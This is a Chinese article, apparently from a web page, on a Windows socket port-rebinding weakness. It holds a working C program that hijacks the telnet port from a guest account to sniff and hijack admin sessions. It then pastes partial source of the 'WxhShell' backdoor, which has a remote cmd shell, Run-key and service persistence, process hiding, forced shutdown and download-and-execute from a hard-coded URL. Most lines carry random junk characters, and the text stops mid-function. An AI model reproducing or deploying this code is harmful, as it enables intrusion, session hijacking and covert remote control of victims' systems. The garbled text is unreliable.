在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
p%ZOLoc)Y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
e` {F7rd: @b{I0+li"/ saddr.sin_family = AF_INET;
NPjNkpWm&= jWNF3\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
F*TkQ\y #L`'<ge'g* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
bJ5 VlK67R 4IGn,D^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/n-!dXi o7sIpE9 这意味着什么?意味着可以进行如下的攻击:
- xKa-3 =GJ)4os 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~b;u1;ne .h
r$<] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ZBsV n&\DJzW\# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
=+ALh- /:-Y7M* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1.IEs:(; @aY>pr5! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
HyGu3 A(6n- zL 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Z%$tV3a? ZZ2vdy38 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
JS2h/Y$ Zt/4|&w #include
HVH <S #include
7v]9) W=y #include
8d1r#sILI #include
BBDt^$ DWORD WINAPI ClientThread(LPVOID lpParam);
!(nFq9~~Q int main()
D&*'|}RZ {
khe.+Qfgj WORD wVersionRequested;
1WUlBr/k DWORD ret;
|{ TVW WSADATA wsaData;
7&w$@zs87 BOOL val;
LVe[N-K SOCKADDR_IN saddr;
=QS%D*.|D SOCKADDR_IN scaddr;
|] cFsB#G int err;
D*}_L
SOCKET s;
7
V3r!y SOCKET sc;
lOEB ,/P
int caddsize;
w itx_r HANDLE mt;
Ju"K" DWORD tid;
Lpv,6#m`) wVersionRequested = MAKEWORD( 2, 2 );
')zf8>, err = WSAStartup( wVersionRequested, &wsaData );
U^
;H{S if ( err != 0 ) {
vR*p1Kq: printf("error!WSAStartup failed!\n");
y#v<V1b] return -1;
t~_bquGk }
^E]y >Y saddr.sin_family = AF_INET;
;/ASl<t, nh*hw[Ord //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
)SzgMbF6 > JP}OS saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
pKkBAr, saddr.sin_port = htons(23);
HApjXv!U[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5ggsOqH {
LOi/+;> printf("error!socket failed!\n");
,t@B]ll return -1;
cxz\1Vphd }
?5j}&Y3 val = TRUE;
QE4TvnhK //SO_REUSEADDR选项就是可以实现端口重绑定的
)QAS 7w#k if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
l|sC\;S {
RN"Ur'+ printf("error!setsockopt failed!\n");
(-%1z_@Y return -1;
2P,{`O1] }
uWjEyxPv{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
XOT|: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
H> Q
X?>j //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
b*TQKYT `h='FJ/! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;.{J>Q/U, {
pSdtAv ret=GetLastError();
jX&/ e'B printf("error!bind failed!\n");
9a$ 7$4m return -1;
g).IF. }
cceh`s=cU listen(s,2);
,;)_$%bHc while(1)
qQp;i{X {
bY}:!aR<mK caddsize = sizeof(scaddr);
bj,cU)t0 //接受连接请求
-9;XNp sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
kzmw1*J if(sc!=INVALID_SOCKET)
,b9!\OWDF {
EI8KK o * mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
L XHDX if(mt==NULL)
h@jk3J9^ {
j^m x , printf("Thread Creat Failed!\n");
N?v}\ PU break;
MnTqWC90 }
!0X/^Xv@= }
#b>D^=NV>) CloseHandle(mt);
tvcM<
e20 }
D]?yGI_ closesocket(s);
F*p@hl WSACleanup();
mWTV)z57 return 0;
dmPAPCm%y }
1otE:bi DWORD WINAPI ClientThread(LPVOID lpParam)
UId?a}J {
?)2; W SOCKET ss = (SOCKET)lpParam;
$ Gs|Z$( SOCKET sc;
cv"Bhql unsigned char buf[4096];
|* B9{/;4 SOCKADDR_IN saddr;
`M!'PMX long num;
}ws(:I^ DWORD val;
@y8)
"m" DWORD ret;
JnPwqIF1 //如果是隐藏端口应用的话,可以在此处加一些判断
F4$9r^21r //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
85vyt/.,k saddr.sin_family = AF_INET;
{sF;R.P&r saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ODKHI\U
saddr.sin_port = htons(23);
l,ic-Y1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!@[@&. {
e'2w-^7 printf("error!socket failed!\n");
_Lgi5B% return -1;
( "wmc"qH }
~F[JupU val = 100;
hVW1l&s if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
B3W2?5p {
51 "v`O+ ret = GetLastError();
o[aIQ|G return -1;
?0?+~0sI }
jE!?;} P1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V|)nUsU {
C:p` ret = GetLastError();
6ag0c&k return -1;
~\u~>mtchu }
rO]2we/B,4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
juB /?'$~ {
SI/3Dz[ printf("error!socket connect failed!\n");
E=]$nE]b closesocket(sc);
Bpp(5 closesocket(ss);
WDF6.i ? return -1;
]F
srk }
UV\&9>@L while(1)
HXgf=R/$ {
8gJg7RxL //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
z-m:l; //如果是嗅探内容的话,可以再此处进行内容分析和记录
p4@0Dz`Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;CDa*(e num = recv(ss,buf,4096,0);
~ep^S^V+ if(num>0)
`=E4J2" send(sc,buf,num,0);
Erm]uI9` else if(num==0)
ZJV;&[$[ break;
+\RviF[+ num = recv(sc,buf,4096,0);
ql7N\COoq if(num>0)
<x1,4a~ send(ss,buf,num,0);
Q+p9^_r else if(num==0)
:?:R5_Nd= break;
-SF50.[ }
Qn \=P*j closesocket(ss);
V3$zlzSm, closesocket(sc);
~Gh9m]b return 0 ;
,e{1l }
WD|pG;Gq *~^M_wej Kza5_7p`L ==========================================================
_uZVlu@ {cmV{ 4Yx 下边附上一个代码,,WXhSHELL
\Wb3JQ) TE-(Zil\ ==========================================================
;RS^^vDm s:JQV #include "stdafx.h"
*R8P brN +oiuulA #include <stdio.h>
R]N"P:wf@ #include <string.h>
Lv@'v4.({ #include <windows.h>
{;3a^K #include <winsock2.h>
; Z2 #include <winsvc.h>
;eC8|
Xz #include <urlmon.h>
!=]cASPGD CJt(c,!z #pragma comment (lib, "Ws2_32.lib")
QLb!e"C #pragma comment (lib, "urlmon.lib")
95*=&d }*VRj;ff #define MAX_USER 100 // 最大客户端连接数
|M|>/U 8 #define BUF_SOCK 200 // sock buffer
vlPViHF. #define KEY_BUFF 255 // 输入 buffer
UxvT|~" 41c4Xj?' #define REBOOT 0 // 重启
cD9.L #define SHUTDOWN 1 // 关机
qjH/E6GGg E2Ec`o #define DEF_PORT 5000 // 监听端口
jBJ|%KM s}?QA cC #define REG_LEN 16 // 注册表键长度
8[x{]l[ #define SVC_LEN 80 // NT服务名长度
J'*`K>wV v4r%'bA // 从dll定义API
.`^wRpa2M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
i*e'eZ;) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
a>#]d typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
'e8O
\FOf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
u(g9-O 8:k-]+#o // wxhshell配置信息
V BjA$. struct WSCFG {
4B@Ir)^(* int ws_port; // 监听端口
5$c*r$t_RK char ws_passstr[REG_LEN]; // 口令
):nC&M\W~ int ws_autoins; // 安装标记, 1=yes 0=no
k.wm{d]J char ws_regname[REG_LEN]; // 注册表键名
{=, +;/0 char ws_svcname[REG_LEN]; // 服务名
^@;P -0Sy char ws_svcdisp[SVC_LEN]; // 服务显示名
R?8/qGSVqJ char ws_svcdesc[SVC_LEN]; // 服务描述信息
^TAf+C^Ry char ws_passmsg[SVC_LEN]; // 密码输入提示信息
3e1^r_YI int ws_downexe; // 下载执行标记, 1=yes 0=no
T*rz#O char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
S{UEV7d:n0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
M+WN \.2pX c> ":g~w };
%
{A%SDh Q6d>tqW hq // default Wxhshell configuration
?,
cI!c` struct WSCFG wscfg={DEF_PORT,
Z+
)<FX "xuhuanlingzhe",
~/;shs<9EM 1,
gCM(h[7A "Wxhshell",
YRU#/TP "Wxhshell",
_s+_M+@et "WxhShell Service",
xn}HB "Wrsky Windows CmdShell Service",
3 H`ES_JL "Please Input Your Password: ",
.|GnTC q 1,
uk)D2.eS, "
http://www.wrsky.com/wxhshell.exe",
Ns.{$'ll "Wxhshell.exe"
h`:B8+k };
c4M]q4]F Ee'wsL // 消息定义模块
iM"L%6*I^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?A~a}bFZ char *msg_ws_prompt="\n\r? for help\n\r#>";
v+
"9& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
+uMK_ds~ char *msg_ws_ext="\n\rExit.";
Q`BB@E char *msg_ws_end="\n\rQuit.";
cL:hjr" char *msg_ws_boot="\n\rReboot...";
R?}<CjI char *msg_ws_poff="\n\rShutdown...";
S{zl<>+ char *msg_ws_down="\n\rSave to ";
xDIl #z9@x}p5g char *msg_ws_err="\n\rErr!";
yOyuMZo6 char *msg_ws_ok="\n\rOK!";
Y|aaZ|+ |],ocAN{ char ExeFile[MAX_PATH];
jiP^Hz"e
int nUser = 0;
%R?#Y1Tq; HANDLE handles[MAX_USER];
3.@ir"vy int OsIsNt;
o_PQ]1 :{~TG]4M SERVICE_STATUS serviceStatus;
i 8:^1rHp) SERVICE_STATUS_HANDLE hServiceStatusHandle;
A<{&?_U p~dj-w // 函数声明
jWh}cM= int Install(void);
J;Eg"8x] int Uninstall(void);
g>-u9%aa int DownloadFile(char *sURL, SOCKET wsh);
Yn8aTg[J int Boot(int flag);
>0I\w$L void HideProc(void);
:6W* ;<o int GetOsVer(void);
>{#QS"J# int Wxhshell(SOCKET wsl);
zOMU&;.\
void TalkWithClient(void *cs);
nw int CmdShell(SOCKET sock);
M$2lK^2L int StartFromService(void);
@T~~aQFk int StartWxhshell(LPSTR lpCmdLine);
2,G9~<t 'Jl73#3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
=7-@&S=?s VOID WINAPI NTServiceHandler( DWORD fdwControl );
d.p%jVO)" E~1"Nh // 数据结构和表定义
K"VRHIhfg SERVICE_TABLE_ENTRY DispatchTable[] =
|%fM*F^7/ {
"K#zY~>L {wscfg.ws_svcname, NTServiceMain},
=VF%Z[Gm {NULL, NULL}
k4YW;6<C+ };
-qJO6OM Il$Jj-) // 自我安装
{@>6E8)H5 int Install(void)
SaA-Krn {
|\SwZTr char svExeFile[MAX_PATH];
SHN'$f0Mb HKEY key;
}&LLo strcpy(svExeFile,ExeFile);
bw OG|\ I5w>*F // 如果是win9x系统,修改注册表设为自启动
R<e ~Cb- if(!OsIsNt) {
pSS8 %r%S' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w~WW2w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
n<Z1i) RegCloseKey(key);
{'[S.r` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S &F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@+!u{ RegCloseKey(key);
w7yz4_:x^ return 0;
/xkF9 }
@xN)mi }
"i;" }
a f UOIM else {
`h$^=84 l6< bV#_qe // 如果是NT以上系统,安装为系统服务
7SjWofv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
`r*bG= if (schSCManager!=0)
S"Drg m. {
<CGJ:% AY SC_HANDLE schService = CreateService
N3?hu} (
v)rQ4
wD: schSCManager,
7oZtbBs]M wscfg.ws_svcname,
1ika' wscfg.ws_svcdisp,
td(4Fw||1y SERVICE_ALL_ACCESS,
y!jq!faqt SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
n{xL1A=9 SERVICE_AUTO_START,
;7N~d TBQ SERVICE_ERROR_NORMAL,
"$PX[: svExeFile,
$;B0x NULL,
!s(s^ NULL,
qruv^#_l NULL,
JG=z~ STz NULL,
vABUUAo!Jr NULL
zfm#yDf );
w*B4>FYg if (schService!=0)
?eri6D,86w {
(zIIC"~5 CloseServiceHandle(schService);
bSS=<G9 CloseServiceHandle(schSCManager);
O@sJ#i> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
a_o99lP strcat(svExeFile,wscfg.ws_svcname);
Ys@G0}\3G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
K1m'20U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
_BBs{47{E RegCloseKey(key);
$Ce;}sM return 0;
&E`=pe/e }
287)\FU;3 }
jQ9i<-zc CloseServiceHandle(schSCManager);
uui3jZ: }
,w0Io }
lW3wmSWn% ,_RPy2N return 1;
:x36Z4: }
=;y(b~ xaW9Sj0ZM // 自我卸载
X"O^4MnvI int Uninstall(void)
Q7XlFjzcm {
TtP2>eh- HKEY key;
5FwVR3, )1o<}7 if(!OsIsNt) {
>IE`, fe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
do=s=&T RegDeleteValue(key,wscfg.ws_regname);
{Q
AV RegCloseKey(key);
^6FU] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wUcp_)aE| RegDeleteValue(key,wscfg.ws_regname);
F]6$4o[ RegCloseKey(key);
y rmi:=N( return 0;
b]@@x;v$@ }
]6z ;
M;F` }
>0.a#-u^ }
?$ 0t @E else {
CC.ri3+. j2Uu8.8d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
AIw< 5lW if (schSCManager!=0)
>^zbDU1wT {
d^ZrI\AJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
w}r~Wk^dLI if (schService!=0)
K#4Toc#=V {
{x<yDDIv_ if(DeleteService(schService)!=0) {
0:qR,NW^# CloseServiceHandle(schService);
xoyH5ZK@ CloseServiceHandle(schSCManager);
Wd]MwDcO return 0;
*1CZRfWI }
q1vsvL9Q CloseServiceHandle(schService);
JFh_3r' }
KIYs[0*k CloseServiceHandle(schSCManager);
#Iwxt3K }
i'`[dwfS }
R&9Q#n- OGn-~
#E return 1;
4$_:a?9 }
p@jwHlX "*Gp@ // 从指定url下载文件
~dlpoT int DownloadFile(char *sURL, SOCKET wsh)
gMUCVKGf {
E% d3}@ HRESULT hr;
pW1(1M)[%Z char seps[]= "/";
L1YiXJ,T, char *token;
x5 ?>y{6D char *file;
d.t$VRO char myURL[MAX_PATH];
; )rXQm char myFILE[MAX_PATH];
*g!7PzJ' !nt[J$.z^ strcpy(myURL,sURL);
0.
mS^g,M- token=strtok(myURL,seps);
6uKS!\EY| while(token!=NULL)
;cp,d~m rf {
XG}9)fT file=token;
=9L1Z \f token=strtok(NULL,seps);
wi@Qf6(mn }
'rDai[ p-JGDjR0G GetCurrentDirectory(MAX_PATH,myFILE);
8KHT"uc'*J strcat(myFILE, "\\");
-8m3L strcat(myFILE, file);
bW^JR, send(wsh,myFILE,strlen(myFILE),0);
1AAOg+Y@U" send(wsh,"...",3,0);
Sgq?r-Q. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
sglH=0MP if(hr==S_OK)
6Eyinv return 0;
aKC,{}f$m else
}B@44HdY return 1;
2i)vT)~ h@%a+ 6b? }
I@q(P>]X9 LGT?/gup // 系统电源模块
'ocPG.PaU int Boot(int flag)
= ow=3Ku {
*:V+whBY HANDLE hToken;
Z,7VOf6g TOKEN_PRIVILEGES tkp;
12HE= <P.'r,"[ if(OsIsNt) {
U*:E|'> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
]'5 G/H5?; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
'ZAl7k . tkp.PrivilegeCount = 1;
Js/QL=, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-T{G8@V0I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
"WZ | if(flag==REBOOT) {
Hp5.jor(k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3oBR return 0;
@^Yr=d ba }
a9y+FCA else {
t$g@+1p4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
3 @%XR8ss return 0;
<d~si^*\ch }
IQeiT[TF }
y7|
3]>Z else {
S pk8u4 if(flag==REBOOT) {
xq<X:\O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
cV:Ak~PKl return 0;
4Be\5Byr }
MIdViS.g else {
~}RfepM if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
y-N]{! return 0;
Fx )BMP }
-Pc6W9$ }
tr|)+~x3 _)[UartKx return 1;
3@\J#mR
}
#jM-XK odW K\e // win9x进程隐藏模块
P7\?WN$p void HideProc(void)
.FC|~Z1T<F {
\IZY\WU}2 K/M2L&C HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
A\<W x/ if ( hKernel != NULL )
I&;9
{
AK(x;4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
`k`P;(: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Y&-%
N FreeLibrary(hKernel);
]i\;#pj} }
~3Y4_b5E EO%"[k return;
'9!J' [W }
J?C:@Q u=t.1eS5 // 获取操作系统版本
S? #6{rx int GetOsVer(void)
ZlP+t> {
MI)v@_1d OSVERSIONINFO winfo;
LB`{35b-
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
^@^K
<SVc GetVersionEx(&winfo);
`T{'ufI4B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
hlmeT9v{ return 1;
@MO/LvD else
><I{R|bC return 0;
lBGYZ-- }
)6(|A$~C+ 3,- [lG@o // 客户端句柄模块
>:HmIW0PLe int Wxhshell(SOCKET wsl)
[Qcht,\^v {
EB VG@ SOCKET wsh;
f+1@mGt struct sockaddr_in client;
?AK`M #M DWORD myID;
J4u>77I [0vqm:P while(nUser<MAX_USER)
O L 9(~p {
" =6kH, int nSize=sizeof(client);
nJ h)iQu wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Whe-()pG{ if(wsh==INVALID_SOCKET) return 1;
9g]%}+D c(aykIVOo handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
6V*,nocL_+ if(handles[nUser]==0)
yK-DzAv closesocket(wsh);
{
&Vt]9 else
*wx95?H0Z nUser++;
Zz"8 }
EjMVlZC> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
G.`},c;A- b!bg sd return 0;
UE/JV_/S; }
`aTw!QBfG PQp/&D4K // 关闭 socket
0TZB}c#qT void CloseIt(SOCKET wsh)
sUU[QP- {
LI].*n/v closesocket(wsh);
Q[?R{w6 nUser--;
"By$!R-& ExitThread(0);
> l]Ble }
+P8CC fPu f;AI4:#I // 客户端请求句柄
7hTpjox2 void TalkWithClient(void *cs)
?Yzw]ag. {
R9!U _RH k||dX(gl SOCKET wsh=(SOCKET)cs;
&>&6OV]P' char pwd[SVC_LEN];
[!4xInS char cmd[KEY_BUFF];
?5J>]: +ZZ char chr[1];
Tdm|=xI
int i,j;
8i5S
} rVP{ ^Jdo while (nUser < MAX_USER) {
'v9M`` No)0|C8: if(wscfg.ws_passstr) {
at4JLbk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D, Gv nfY //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h3-^RE5\`S //ZeroMemory(pwd,KEY_BUFF);
r8?p6E i=0;
1wFW&|>1 while(i<SVC_LEN) {
S~)`{
\ 6VVxpDAi: // 设置超时
n_Qua|R fd_set FdRead;
.$7RF!p struct timeval TimeOut;
]YtN6Rq/ FD_ZERO(&FdRead);
]tf`[bINP FD_SET(wsh,&FdRead);
OGIv".~s4 TimeOut.tv_sec=8;
x;<0Gg~jB TimeOut.tv_usec=0;
L]8z6]j* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4\5i}MIS0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
heL`"Y2'y> IT{c:jo1{` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
PpKjjA< pwd
=chr[0]; I;-Y2*
if(chr[0]==0xd || chr[0]==0xa) { (qvH=VTwP
pwd=0; jXLd#6
break; BGxwPJd
} ;mT}Q;F#
i++; q/@+.q
} w^Yo)"6
Vjs'|%P7
// 如果是非法用户,关闭 socket {kw%7}!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~\<$H'
} ^C1LQZ
KE ?NQMU
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1G7l+6w5~^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kei0>hBi
sOlnc 6
while(1) { &l3(+4Sh
?_d6;
ZeroMemory(cmd,KEY_BUFF); r7oFG!.?
}8"
|q3k
// 自动支持客户端 telnet标准 a6j& po
j=0; b>VV/j4!/
while(j<KEY_BUFF) { ]J'TebP=L5
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Y81h-
cmd[j]=chr[0]; B}[f]8jrM
if(chr[0]==0xa || chr[0]==0xd) { :\JCxS=EW
cmd[j]=0; \
a,}1FS
break; m$=}nI(H
} >mX6;6FF
j++; 5{oc
} }oA>0Nw$K
) WbWp4
// 下载文件 C1e@{>
if(strstr(cmd,"http://")) { ]95VMyN
send(wsh,msg_ws_down,strlen(msg_ws_down),0); `BK b60
if(DownloadFile(cmd,wsh)) "gJ.mhHX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `MCiybl,&P
else z?.9)T9_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (_"Zbw%cJy
} VC/-5'_6
else { Qv5fK
38D5vT)n
switch(cmd[0]) { E I(e3
&>C+5`bg
// 帮助 "WuUMt
case '?': { mjWU0.
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y|Q(JX
break; E`I(x&_
} n)"JMzjQ<
// 安装 -f&vH_eK
case 'i': { !5(DU~S*@S
if(Install()) 4pf@.ra,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T>'O[=UWh
else ,wes*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #55:qc>m
break; 4qp|g'uXT
} G(.G>8pf
// 卸载 Ba8=nGa4KY
case 'r': { Q&xH
if(Uninstall()) c>K]$;}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E&zf<Y
else T2S_>
#."l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PXYLLX\3
break; / Qd` ?
} eZAMV/]jH
// 显示 wxhshell 所在路径 :>{!%-1Z
case 'p': { G9^`cTvv'8
char svExeFile[MAX_PATH]; Z! O4hA4
strcpy(svExeFile,"\n\r"); ~q}L13^k
strcat(svExeFile,ExeFile); (g@\QdH`|
send(wsh,svExeFile,strlen(svExeFile),0); mdEJ'];AH
break; 0|FxSc
} 'Og@<~/Xy
// 重启 ?LmeZ}K
case 'b': { Bh2l3J4X
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <[)-Q~Gg5
if(Boot(REBOOT)) W&Fm;m@M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9GH5
else { vvv'!\'#
closesocket(wsh); v,ZYh w
ExitThread(0); d-B+s%>D
} m6mGcbpn
break; __'4Qt
} uL^; i""
// 关机 xj;:B( i
case 'd': { K<*6E@+i
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aE5-b ub c
if(Boot(SHUTDOWN)) kZz'&xdv'.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {WrEe7dLy
else { 0fXMY-$I
closesocket(wsh); NUYKMo1ze
ExitThread(0); /S]RP>cQ
} ;7z6B|8
break; ?'TK~,dG/
} isL
zgN%
// 获取shell q7Hf7^a
case 's': { _x<NGIz
CmdShell(wsh); g77M5(ME
closesocket(wsh); sQ#e 2
ExitThread(0); hz4?ku
break; s6 g"uF>k
} [[IMf-]
// 退出 Pl/ dUt_
case 'x': { c EYHB1*cT
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gn8sB
CloseIt(wsh); F)hj\aHm k
break; \t7yH]:>@
} !6'N-b1
// 离开 Dhn7N8(LF!
case 'q': { nUP, Yd
send(wsh,msg_ws_end,strlen(msg_ws_end),0); s;9Du|0f^
closesocket(wsh); =4eJ@EVM
WSACleanup(); 6P{^j
exit(1); ?Tc#[B
break; :E.a.-
} !.,wg'\P
} Njg$~30
} BS##nS-[
Dm}eX:'{
// 提示信息 ^<OYW|q?\r
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \~hrS/$[$
} PK2;Ywk`
} Jr!BDg
US ALoe
return; %LMpErZO
} wu.l-VmGp)
[j0[c9.p[
// shell模块句柄 +=8wZ]
int CmdShell(SOCKET sock) mF;mJq<d
{ 1 jidBzu<
STARTUPINFO si; BI`)P+K2
ZeroMemory(&si,sizeof(si)); 58s-RO6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M4C8K{}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @vlP)"
PROCESS_INFORMATION ProcessInfo; 5j`xSG
char cmdline[]="cmd"; <}RI<96
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n>ui'}L
return 0; TF/NA\0c$
} U*r54AyP
}pMVl
// 自身启动模式 VC88re`
int StartFromService(void) $z%(He
{ <t"T'\3
typedef struct V6][*.i!9
{ [;z\bV<S
DWORD ExitStatus; *<xu3){:c
DWORD PebBaseAddress; Qfm$q~`D^W
